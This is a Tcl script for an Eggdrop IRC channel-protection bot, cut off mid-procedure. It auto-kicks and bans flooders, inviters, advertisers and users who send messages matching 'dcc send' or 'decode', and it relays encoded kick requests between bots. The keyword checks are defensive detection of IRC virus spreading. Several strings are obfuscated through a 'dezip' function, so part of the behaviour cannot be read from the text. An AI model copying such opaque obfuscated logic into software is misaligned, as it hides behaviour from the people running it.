global botnick uptime timezone notc notd vern longer awaym
set totalyear [expr [unixtime] - $uptime]
if {$totalyear >= 31536000} {
set yearsfull [expr $totalyear/31536000]
set years [expr int($yearsfull)]
set yearssub [expr 31536000*$years]
set totalday [expr $totalyear - $yearssub]
}
if {$totalyear < 31536000} {
set totalday $totalyear
set years 0
}
if {$totalday >= 86400} {
set daysfull [expr $totalday/86400]
set days [expr int($daysfull)]
set dayssub [expr 86400*$days]
set totalhour [expr $totalday - $dayssub]
}
if {$totalday < 86400} {
set totalhour $totalday
set days 0
}
if {$totalhour >= 3600} {
set hoursfull [expr $totalhour/3600]
set hours [expr int($hoursfull)]
set hourssub [expr 3600*$hours]
set totalmin [expr $totalhour - $hourssub]
}
if {$totalhour < 3600} {
set totalmin $totalhour
set hours 0
}
if {$totalmin >= 60} {
set minsfull [expr $totalmin/60]
set mins [expr int($minsfull)]
}
if {$totalmin < 60} {
set mins 0
}
if {$years < 1} {set yearstext ""} elseif {$years == 1} {set yearstext "$years year, "} {set yearstext "$years years, "}
if {$days < 1} {set daystext ""} elseif {$days == 1} {set daystext "$days day, "} {set daystext "$days days, "}
if {$hours < 1} {set hourstext ""} elseif {$hours == 1} {set hourstext "$hours HoUR, "} {set hourstext "$hours HoURS, "}
if {$mins < 1} {set minstext ""} elseif {$mins == 1} {set minstext "$mins MiNuTE"} {set minstext "$mins MiNuTES"}
if {[string length $mins] == 1} {set mins "0${mins}"}
if {[string length $hours] == 1} {set hours "0${hours}"}
set output "${yearstext}${daystext}${hours}:${mins}"
set output [string trimright $output ", "]
if {[getuser "config" XTRA "AWAY"]!= ""} {
set longer "[getuser "config" XTRA "AWAY"] $output"
#set longer ""
} {
set awaymsg [lindex $awaym [rand [llength $awaym]]]
set longer "online: $output Hours"
#set awaymsg ""
#set longer ""
}
}
proc msg_userlist {nick hand uhost rest} {
global notc
pub_userlist $nick $uhost $hand "" $rest
}
proc pub_userlist {nick uhost hand chan rest} {
global ps notc
set akicklist " 4KIcKLIsT"
foreach y [getuser "AKICK" HOSTS] {
append akicklist " $y "
}
set users "UsERLIsT:"
foreach x [userlist] {
if {($x != "config") && ($x != "AKICK") && ($x != $ps) && ![matchattr $x A]} {
if {[matchattr $x O]} {
append users " 4$x "
} else { append users " $x " }
set flag [chattr $x]
append users "($flag)"
}
}
append users " \[$akicklist\]"
if {[getuser "config" XTRA "IPG"] != ""} {
append users " IpguaRd [getuser "config" XTRA "IPG"]"
}
if {[string length $users] > 300} {
set half [expr [string length $users]/3]
set half [expr int($half)]
set ntc "[string range $users 0 $half].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1] [expr $half + $half]].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1 + $half] end]"
puthlp "NOTICE $nick :$notc $ntc"
} elseif {[string length $users] > 200} {
set half [expr [string length $users]/2]
set half [expr int($half)]
set ntc "[string range $users 0 $half].."
puthlp "NOTICE $nick :$notc $ntc"
set ntc "..[string range $users [expr $half + 1] end]"
puthlp "NOTICE $nick :$notc $ntc"
} else {
puthlp "NOTICE $nick :$notc $users"
}
return 0
}
proc pub_ver {nick uhost hand chan rest} {
global vern
puthlp "PRIVMSG $chan :$vern"
return 0
}
proc pub_logo {nick uhost hand chan rest} {
global notc
puthlp "PRIVMSG $chan :$notc"
return 0
}
proc pub_ping {nick uhost hand chan rest} {
puthlp "PRIVMSG $chan :$nick, Pasukan SiaP !!!"
return 0
}
proc pub_nobot {nick uhost hand chan rest} {
global botnick
if {![isop $botnick $chan]} { return 0 }
if {[isutimer "pub_nobot"]} { return 0 }
if {[rand 2] <= 1} {
puthlp "PRIVMSG $chan :\001USERINFO\001"
} {
puthlp "PRIVMSG $chan :\001CLIENTINFO\001"
}
return 0
}
bind ctcr - USERINFO ui_reply
bind ctcr - CLIENTINFO ui_reply
proc ui_reply {nick uhost hand dest key arg} {
global botnick bannick notc ismaskhost
if {![string match "*eggdrop*" $arg]} { return 0 }
if {$nick == $botnick || [matchattr $nick f]} { return 0 }
foreach x [channels] {
if {[onchan $nick $x] && [isop $botnick $x] && ![isop $nick $x]} {
if {[info exists ismaskhost]} {
set bannick($nick) [maskhost "*!*[string range $uhost [string first "@" $uhost] end]"]
} {
set bannick($nick) "*!*[string range $uhost [string first "@" $uhost] end]"
}
putsrv "KICK $x $nick :$notc 4[string toupper $x]1 FoRBIDDeN FoR 4EggY1 DuE tO LamE AnTIcIPaTEd [banmsg]"
return 0
}
}
}
bind ctcr - PING ping_reply
proc ping_reply {nick uhost hand dest key arg} {
global pingchan botnick wait_ping notc owner ps
if {$nick != $owner && $nick != $ps} { return 0 }
catch { unset wait_ping }
if {$nick == $botnick} {
return 0
}
set pingtime [expr [unixtime] - $arg]
if {[info exists pingchan($nick)]} {
puthlp "PRIVMSG $pingchan($nick) :$notc $nick PING Reply: $pingtime sec"
unset pingchan($nick)
}
if {![matchattr $nick f]} {
set hostmask "${nick}!*@*"
putlog "!Log! 1 minutes auto ignore to $hostmask"
newignore $hostmask $botnick "*" 1
}
return 0
}
proc pub_reset {nick uhost hand chan rest} {
global notc
putsrv "NOTICE $nick :$notc !ReSeT!"
auto_ping "0" "0" "0" "0" "0"
ident_it
}
proc pub_pong {nick uhost hand chan rest} {
global pingchan
putsrv "PRIVMSG $nick :\001PING [unixtime]\001"
set pingchan($nick) $chan
return 0
}
proc pub_auth {nick uhost hand chan rest} {
global botnick notc
set cmd [string tolower [lindex $rest 0]]
set ch [passwdok $nick ""]
if {$ch == 1} {
puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"
return 0
}
if {[matchattr $nick Q]} {
puthlp "PRIVMSG $chan :${nick}, 03C15epek 03D15ulu 03B15os!"
}
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $chan :${nick}, 04Y15ou're 04N15ot 04L15ogin..!!"
}
}
proc notc_prot {nick uhost hand text {dest ""}} {
global notc botnick notc_chn bannick notm quick ismaskhost is_m
if {$dest != "" && $dest != $botnick} {
if {[string index $dest 0] == "+" || [string index $dest 0] == "@"} {
foreach x [channels] {
set x [string tolower $x]
if {[string match "*$x*" [string tolower $dest]]} {
set dest $x
break
}
}
}
if {[isop $botnick $dest]} {
if {[string match "*-greet*" [channel info $dest]]} { return 0 }
if {$nick == "ChanServ"} { return 0 }
if {$nick == $botnick} { return 0 }
if {[matchattr $nick f]} { return 0 }
if {[isop $nick $dest]} { return 0 }
if {[isutimer "set_-m $dest"]} { return 0 }
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($nick) $banmask
if {[info exists notc_chn($dest)]} {
incr notc_chn($dest)
} {
set notc_chn($dest) 1
}
if {$notc_chn($dest) == 1} {
putsrv "KICK $dest $nick :$notc 1ABusINg 4NoTIcE1 @ps OnLY [banmsg]"
} elseif {$notc_chn($dest) == 2} {
if {$quick == "1" && ![info exists is_m($dest)]} {
putqck "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"
} {
putsrv "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"
}
} elseif {$notc_chn($dest) >= 3} {
if {[info exists ismaskhost]} {
set bannick($nick) [maskhost $banmask]
}
if {$quick == "1" && ![info exists is_m($dest)]} {
putqck "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"
} {
putsrv "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"
}
}
return 0
}
repeat_pubm $nick $uhost $hand $dest $text
} {
msg_prot $nick $uhost $hand $text
}
}
proc setignore {mask reason time} {
global quick
foreach x [ignorelist] {
if {[lindex $x 0] == $mask} { return 0 }
}
newignore $mask "IgN" $reason 15
if {$quick == "1"} {
putquick "silence +$mask"
} {
putserv "silence +$mask"
}
utimer $time [list unsetignore $mask]
}
proc unsetignore {mask} {
if {![isignore $mask]} { return 0 }
putserv "silence -$mask"
killignore $mask
}
set massmsg 0
proc msg_prot {unick uhost hand text} {
global nick botnick invme own nickpass altpass notc notb notd virus_nick ex_flood vern
global altnick twice_msg version bannick massmsg keep-nick badwords quick is_m ismaskhost
global querym
set querymsg [lindex $querym [rand [llength $querym]]]
regsub -all -- [dezip "jG~BDx04ntxb0"] $text "" text
msg_Z $unick $uhost $hand $text
set real $text
set text [uncolor $text]
if {$unick == $botnick} { return 0 }
if {[string match "*dcc send*" [string tolower $text]] && ![string match "*Serv*" $unick] && ![matchattr $unick f]} {
set virus_nick $unick
foreach x [channels] {
if {[onchan $virus_nick $x] && ![matchattr $virus_nick f] && ![isop $virus_nick $x]} {
if {[isop $botnick $x]} {
set host [getchanhost $virus_nick $x]
set host "*!*@[lindex [split $host @] 1]"
set bannick($virus_nick) $host
putsrv "KICK $x $virus_nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"
set virus_nick ""
} else {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4@[lindex [split [getchanhost $virus_nick $x] @] 1]1 ViRuZ [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
return 0
}
if {$unick == "ChanServ"} {
if {[string match "*You do not have access to op people on*" $text] && [getuser "config" XTRA "MUSTOP"] != "" && $botnick == $nick} {
set partchn [lindex $text 9]
set partchn [string range $partchn 0 [expr [string length $partchn]-2]]
if {[string match "*-secret*" [channel info $partchn]]} {
putsrv "PART $partchn :((((@pGuaRd))))"
channel remove $partchn
savechan
}
}
if {[string match "*is not on*" $text]} {
set text [string tolower $text]
foreach x [channels] {
set x [string tolower $x]
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[string match "*$x*" $text]} {
if {![string match "*c*" [getchanmode $x]]} {
putsrv "PART $x :1regained (4@1)ps status"
} {
putsrv "PART $x :1regained (@)ps status"
}
if {[matchattr $cflag K]} {
puthlp "JOIN $x :[dezip [getuser $cflag XTRA "CI"]]"
} {
puthlp "JOIN $x"
}
}
}
return 0
}
if {[string match "*AOP:*SOP:*AKICK*" $text]} {
foreach errchan [channels] {
set cflag "c$errchan"
set cflag [string range $cflag 0 8]
if {[string match "*[string tolower $errchan] *" [string tolower $text]]} {
if {![isop $botnick $errchan]} {
timer 1 { putlog "resync" }
if {![string match "*c*" [getchanmode $errchan]]} {
putsrv "PART $errchan :1regained (4@1)ps status"
} {
putsrv "PART $errchan :regained (@)ps status"
}
if {[matchattr $cflag K]} {
puthlp "JOIN $errchan :[dezip [getuser $cflag XTRA "CI"]]"
} {
puthlp "JOIN $errchan"
}
}
return 0
}
}
}
return 0
}
if {$unick == "NickServ"} {
if {[string match "*nick is owned*" [string tolower $text]]} {
putlog "!Log! IDeNTIFY"
catch { clearqueue all }
if {$botnick == $nick && $nickpass != ""} {
putsrv "NickServ identify $nickpass"
}
if {$botnick == $altnick && $altpass != ""} {
putsrv "NickServ identify $altpass"
}
}
if {[string match "*Password accepted for*" $text]} { auto_reop }
if {[string match "*The nick $nick is not registered*" $text] && $nickpass != ""} {
if {[getuser "config" XTRA "EMAIL"] != ""} {
putsrv "NickServ register $nickpass [getuser "config" XTRA "EMAIL"]"
}
}
if {[string match "*The nick $nick has been temporarily registered to you*" $text]} {
putsrv "NickServ identify $nickpass"
}
return 0
}
if {$unick == "MemoServ"} {
if {[string match "*New DALnet news is available*" $text]} {
putsrv "PRIVMSG MemoServ@services.dal.net :NEWS"
}
return 0
}
if {[string match "!kick*" [string tolower $text]]} {
set salls [dezip [lrange $text 1 end]]
set schan [lindex $salls 0]
set snick [lindex $salls 1]
set sreas [lrange $salls 2 end]
if {![isop $botnick $schan] || [matchattr $snick f] || ![onchan $snick $schan]} { return 0 }
set banhost [getchanhost $snick $schan]
set banhost "*!*@[lindex [split $banhost @] 1]"
set bannick($snick) $banhost
regsub -all -- [dezip "bF~uC0.JqaEc0"] $sreas "" sreas
regsub -all -- [dezip "xdxs~F1hBM6q0"] $sreas "" sreas
putsrv "KICK $schan $snick :$sreas"
return 0
}
if {[string match "*auth*" $text] || [string match "*[string tolower $notb]*" [string tolower $text]]} { return 0 }
if {[matchattr $hand f]} { return 0 }
set mhost [string range $uhost [string first "@" $uhost] end]
if {![isutimer "MSGCOUNTER"]} {
utimer 20 { putlog "MSGCOUNTER" }
set massmsg 1
} {
set massmsg [incr massmsg]
if {[string length $text] > 100} {
set massmsg [incr massmsg]
}
if {$massmsg >= 5} {
set massmsg 0
set mhost [string range $uhost [string first "@" $uhost] end]
setignore "*!*@*" "*" 120
if {[info exists ismaskhost]} {
setignore [maskhost "*!*$mhost"] "MaZz MSg" 300
} {
setignore "*!*$mhost" "MaZz MSg" 300
}
foreach iamop [channels] {
if {[isop $botnick $iamop]} {
if {[string match "*c*" [getchanmode $iamop]]} {
puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM [unsix "$unick!$uhost"]\001"
} {
puthlp "PRIVMSG $iamop :\001ACTION IncOmINg MaZz MSg..! LasT FRoM 1[unsix "$unick!$uhost"]\001"
}
foreach c [chanlist $iamop] {
set nickhost [string range [getchanhost $c $iamop] [string first "@" [getchanhost $c $iamop]] end]
if {$nickhost == $mhost && ![matchattr $c f]} {
if {$c == $botnick} { return 0 }
set bannick($c) "*!*$mhost"
putsrv "KICK $iamop $c :$notc 1Heavy 4FLoOd1 MSg FRoM 4$mhost [banms]"
break
}
}
}
}
return 0
}
}
if {[string match "*decode*" [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set bannick($unick) "*!*$mhost"
putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4dEcOdE [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 dEcOdE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
set invme($mhost) "dEcOdE"
}
if {[string match "*#*" $text] || [string match "*/j*" $text]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $text]]} { return 0 }
}
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($unick) $banmask
putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 InvITE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
} {
set banmask "[string range $uhost [string first "@" $uhost] end]"
if {$banmask != "*!*@*" && $banmask != "*"} {
foreach c [chanlist $x] {
set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
if {$banmask == $nickhost} {
if {[matchattr $c f]} {
return 0
}
if {$c != $botnick} {
if {[isop $botnick $x]} {
set bannick($c) $banmask
set mhost [string range $uhost [string first "@" $uhost] end]
putsrv "KICK $x $c :$notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"
} {
set members [chanlist $x f]
foreach s $members {
if {[isop $s $x]} {
set mhost [string range $uhost [string first "@" $uhost] end]
set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 InvITeR 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
break
}
}
}
return 0
}
}
}
}
}
}
set invme($mhost) "InvITE"
return 0
}
if {[string match "*http:/*" [string tolower $text]] || [string match "*www.*" [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($unick) $banmask
putsrv "KICK $x $unick :$notc 4!SpaM!1 I HaTE 4AdvERTIsE [banms]"
return 0
} else {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4[string range $uhost [string first "@" $uhost] end]1 AdvERTIsE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
} {
set banmask "[string range $uhost [string first "@" $uhost] end]"
if {$banmask != "*!*@*" && $banmask != "*"} {
foreach c [chanlist $x] {
set nickhost "[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]"
if {$banmask == $nickhost} {
if {[matchattr $c f]} {
return 0
}
if {$c != $botnick} {
if {[isop $botnick $x]} {
set bannick($c) $banmask
set mhost [string range $uhost [string first "@" $uhost] end]
putsrv "KICK $x $c :$notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"
} {
set members [chanlist $x f]
foreach s $members {
if {[isop $s $x]} {
set mhost [string range $uhost [string first "@" $uhost] end]
set sendspam "!kick [zip "$x $c $notc 4!SpaM!1 AdvERTIsE 4ReLaY1 FRoM 4$unick1 IP 4$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
return 0
}
}
}
return 0
}
}
}
}
}
}
set invme($mhost) "AdvERTIsE"
return 0
}
set mhost [string range $uhost [string first "@" $uhost] end]
if {[string length $text] > 100} {
set chr 0
set cnt 0
while {$cnt < [string length $real]} {
if [isflood [string index $real $cnt]] {
incr chr
}
incr cnt
}
if {$chr > 30} {
setignore "*!*@*" "*" 120
if {[info exists ismaskhost]} {
setignore [maskhost "*!*$mhost"] "TsunamI MSg" 300
} {
setignore "*!*$mhost" "TsunamI MSg" 300
}
foreach x [channels] {
if {[isop $botnick $x]} {
if {[string match "*c*" [getchanmode $x]]} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM [unsix "$unick!$uhost"]\001"
} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg TsunamI MSg..! FRoM 1[unsix "$unick!$uhost"]\001"
}
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} {
return 0
}
set bannick($c) "*!*$mhost"
putsrv "KICK $x $c :$notc 4TsunamI1 MSg FRoM 4$mhost [banms]"
break
}
}
}
}
return 0
}
}
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $text]]} {
foreach x [channels] {
if {[onchan $unick $x]} {
if {[isop $unick $x] || [isvoice $unick $x]} { return 0 }
if {[isop $botnick $x]} {
set bannick($unick) "*!*$mhost"
putsrv "KICK $x $unick :$notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"
return 0
} {
foreach s [chanlist $x f] {
if {[isop $s $x]} {
set sendspam "!kick [zip "$x $unick $notc 4BaDWoRD1 MSg FRoM 4$mhost1 MaTcH FRoM 4[string toupper $badword] [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
}
}
}
}
}
}
}
if {[string length $text] > 200} {
if {![isutimer "LONGTEXT"]} {
utimer 30 { putlog "LONGTEXT" }
setignore "*!*@*" "*" 120
if {[info exists ismaskhost]} {
setignore [maskhost "*!*$mhost"] "LoNg TexT MSg" 300
} {
setignore "*!*$mhost" "LoNg TexT MSg" 300
}
}
foreach x [channels] {
if {[isop $botnick $x]} {
if {[string match "*c*" [getchanmode $x]]} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM [unsix "$unick!$uhost"]\001"
} {
puthlp "PRIVMSG $x :\001ACTION IncOmINg LoNg TexT MSg..! FRoM 1[unsix "$unick!$uhost"]\001"
}
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} { return 0 }
set bannick($c) "*!*$mhost"
putsrv "KICK $x $c :$notc 1LoNg TexT MSg FRoM 4$mhost [banms]"
break
}
}
} {
foreach c [chanlist $x] {
set nickhost [string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]
if {$nickhost == $mhost} {
if {[matchattr $c f] || $c == $botnick} {
return 0
}
foreach s [chanlist $x f] {
if {[isop $s $x]} {
set sendspam "!kick [zip "$x $c $notc 1LoNg TexT MSg FRoM 4$mhost [banms]"]"
putsrv "PRIVMSG $s :$sendspam"
break
}
}
}
}
}
}
return 1
}
if {$unick != $own} {
if {[info exists twice_msg($unick)]} {
set hostmask "${unick}!*@*"
puthlp "PRIVMSG $unick :$querymsg"
putlog "!Log! IgNORE <<$hostmask>> PV-msg"
unset twice_msg($unick)
newignore $hostmask $unick "*" 2
} {
if {[istimer "chkautomsg"]} {
set invme($mhost) "AuToJoIN MSg"
return 0
}
if {[isutimer "NO REPLY"]} {
foreach x [utimers] {
if {[string match "*NO REPLY*" $x]} {
killutimer [lindex $x 2]
}
}
utimer 10 { putlog "NO REPLY" }
return 0
}
utimer 10 { putlog "NO REPLY" }
if {[string match "*dal*et*" $uhost]} {
puthlp "PRIVMSG $unick :$querymsg"
} {
if {[getuser "config" XTRA "AWAY"]!=""} {
puthlp "PRIVMSG $unick :$querymsg"
} {
puthlp "PRIVMSG $unick :$querymsg"
}
set twice_msg($unick) 1
}
}
}
}
proc auto_reop {} {
global notc botnick
foreach x [channels] {
if {[onchan $botnick $x]} {
if {![isop $botnick $x] && [string tolower $x] != [dezip "ER5sr09TRjx1"]} {
if {![string match "*+protectfriends*" [channel info $x]]} {
set cret 30
foreach ct [utimers] {
if {[string match "*chancnt*" $ct]} {
if {[expr [lindex $ct 0] + 30] > $cret} {
set cret [expr [lindex $ct 0] + 30]
}
}
}
utimer $cret [list chancnt $x]
}
}
}
}
return 0
}
proc chancnt {chan} {
if {[isutimer "chancnt $chan"]} { return 0 }
putsrv "ChanServ count $chan"
}
proc msg_kick {nick uhost hand rest} {
global notc botnick own
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
set reason [lrange $rest 2 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: kick <#chan> <Nick> <Reason>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I cant self kick."
return 0
}
if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc I CaNT KIcK MY Admin."
return 0
}
if {$reason == ""} {
set reason "1ReQuesT..!"
if {[matchattr $nick n]} {
set reason "1Admin 4KIcK1 ReQuesT4..!"
}
if {[matchattr $nick m] && ![matchattr $nick n]} {
set reason "1MasTeR 4KIcK1 ReQuesT4..!"
}
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putsrv "KICK $x $nicktarget :$notc $reason"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_kickban {nick uhost hand rest} {
global notc botnick own bannick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
set bmask [getchanhost $nicktarget $chantarget]
set bmask "*!*@[lindex [split $bmask @] 1]"
set reason [lrange $rest 2 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: kickban <#chan> <Nick> <Reason>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I cant self kick."
return 0
}
if {[matchattr $nicktarget n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc I cant kickban my Admin."
return 0
}
if {$reason == ""} {
set reason "1KIcKBaN ReQuesT4..!"
if {[matchattr $nick m]} {
set reason "1MasTeR 4KIcKBaN1 ReQuesT [banmsg]"
}
if {[matchattr $nick n]} {
set reason "1Admin 4KIcKBaN1 ReQuesT [banmsg]"
}
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
set bannick($nicktarget) $bmask
putsrv "KICK $x $nicktarget :$notc $reason"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_op {nick uhost hand rest} {
global notc botnick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: op <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
return 0
}
if {[isop $nicktarget $chantarget]!=0} {
puthlp "NOTICE $nick :$notc $nicktarget is already op on CHaNNEL $chantarget"
return 0
}
foreach x [channels] {
if {[string tolower $x] == [string tolower $chantarget]} {
opq $x $nicktarget
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_voice {nick uhost hand rest} {
global notc botnick
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: voice <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
return 0
}
if {[isvoice $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is already voice on channel $chantarget"
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putserv "mode $x +v $nicktarget"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_deop {nick uhost hand rest} {
global notc botnick own
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: deop <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget] != 1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
return 0
}
if {![isop $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget is not op on CHaNNEL $chantarget"
return 0
}
if {$nicktarget == $botnick} {
puthlp "NOTICE $nick :$notc I CaNT SeLF DEoP!"
return 0
}
if {[matchattr $nicktarget n]} {
puthlp "NOTICE $nick :$notc I cant deop my Owner."
return 0
}
if {[matchattr $nick m]} {
set mreq "4MasTeR.ReQuesT"
}
if {[matchattr $nick n]} {
set mreq "4Admin.ReQuesT"
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -ko $mreq $nicktarget"
} {
putserv "mode $x -o $nicktarget"
}
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
proc msg_devoice {nick uhost hand rest} {
global notc botnick owner
set chantarget [lindex $rest 0]
set nicktarget [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($chantarget == "") || ($nicktarget == "")} {
puthlp "NOTICE $nick :$notc Usage: devoice <#chan> <Nick>"
return 0
}
if {[isop $botnick $chantarget]!=1} {
puthlp "NOTICE $nick :$notc NoT OP CHaNNEL $chantarget"
return 0
}
if {![onchan $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not on the channel."
}
if {![isvoice $nicktarget $chantarget]} {
puthlp "NOTICE $nick :$notc $nicktarget is not voice on CHaNNEL $chantarget"
}
if {$nicktarget == $owner} {
puthlp "NOTICE $nick :$notc I cant devoice my owner."
return 0
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
putserv "mode $x -v $nicktarget"
return 0
}
}
puthlp "NOTICE $nick :$notc NoT IN $chantarget"
}
bind kick - * prot:kick
proc prot:kick {nick uhost handle chan knick reason} {
global notc notd botnick ps kickme notb notm bannick igflood botname quick is_m op_it is_ban iskick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string match "* *" $reason] || [string match "*$notm*" $reason]} {
set igflood($nick) "1"
}
if {[info exists iskick($knick$chan)]} {
unset iskick($knick$chan)
}
if {$nick == $botnick} {
if {[info exists kickme($knick)]} {
if {$kickme($knick) == 1} {
set kickme($knick) 2
}
if {$kickme($knick) == 3} {
catch { unset kickme($knick) }
}
}
if {[string match "*$notm*" $reason]} {
if {![info exists bannick($knick)]} { return 0 }
if {[info exists is_ban($bannick($knick)$chan)]} { return 0 }
set is_ban($bannick($knick)$chan) 1
if {$bannick($knick) == "*!*@*"} { return 0 }
set cmode [getchanmode $chan]
